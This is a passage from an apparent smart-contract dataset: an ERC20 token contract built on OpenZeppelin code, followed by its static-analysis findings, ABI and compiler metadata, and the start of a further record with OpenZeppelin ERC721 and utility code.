* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
_transfer(sender, recipient, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
pragma solidity ^0.8.0;
contract MetaverseAtNightCoin is ERC20, ERC20Burnable {
constructor() ERC20("Metaverse at Night Coin", "MANC") {
_mint(msg.sender, 10000000000 * 10 ** decimals());
}
} | [{"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["394", "422", "395", "420", "373", "371"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MetaverseAtNightCoin.sol": [130, 131, 132]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 285, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [525, 526, 527, 528, 529, 530, 531, 532]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [334, 335, 336, 337, 338, 339, 340, 341, 342]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [200, 201, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [232, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [242, 243, 244, 245]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [192, 193, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [224, 225, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [264, 265, 266, 267]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [512, 510, 511]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [535]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [113]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [137]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [87]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MetaverseAtNightCoin.sol": [497]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"MetaverseAtNightCoin.sol": [539]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 392, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 398, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 415, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 426, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 264, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 87, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 113, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 137, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 497, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 535, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 165, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 167, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 169, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 171, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 172, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 183, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 538, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | Default | MIT | false | ipfs://876fd07c0baeed1783eeb717462cef52c4da7343d3e2f27959e657ce7a8b7688 |
|||
LootDicc | 0xfecc1e1449496c0cddfb1a075e0ef74c50538c1a | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
